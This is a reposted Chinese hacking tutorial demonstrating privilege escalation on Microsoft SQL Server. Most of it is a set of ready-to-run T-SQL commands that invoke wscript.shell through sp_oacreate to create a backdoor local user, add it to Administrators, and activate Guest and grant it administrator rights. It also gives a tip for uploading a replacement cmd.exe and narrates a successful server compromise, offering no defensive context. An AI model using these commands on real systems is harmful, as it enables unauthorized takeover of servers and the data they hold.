SQL提权演示

王朝网站推广·作者佚名  2011-12-04
窄屏简体版  字體: |||超大  

SQL提权演示

首先想给大家了解一下SQL提权常用命令:

driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 --连接数据库。

eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add' --添加新用户。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' --把用户加到管理组

如果以上添加管理员失败的时候,我们可以尝试激活Guest。

eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes' --激活GUEST用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add' --把Guest加到管理组

注意:如果c:\windows\system32\cmd.exe 被删除,没权限访问或者拒绝访问的话,我们可以自己上传个CMD上去,然后路径修改我们上传的CMD路径就可以了。

下面给大家演示一下整个SQL提权的过程:

默认GUEST用户密码为空禁用状态!

激活GUEST用户

激活GUEST用户成功,但是没有权限,所以我们继续把GUEST这个用户添加到管理组!

把Guest加到管理组

成功把GUEST加到了管理组,成功进入了服务器!

进去后能做些什么?相信这个就不用我罗嗦了。

原始出处:http://www.flhacker.cn

版权所有-转载时必须以链接形式注明原始出处

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航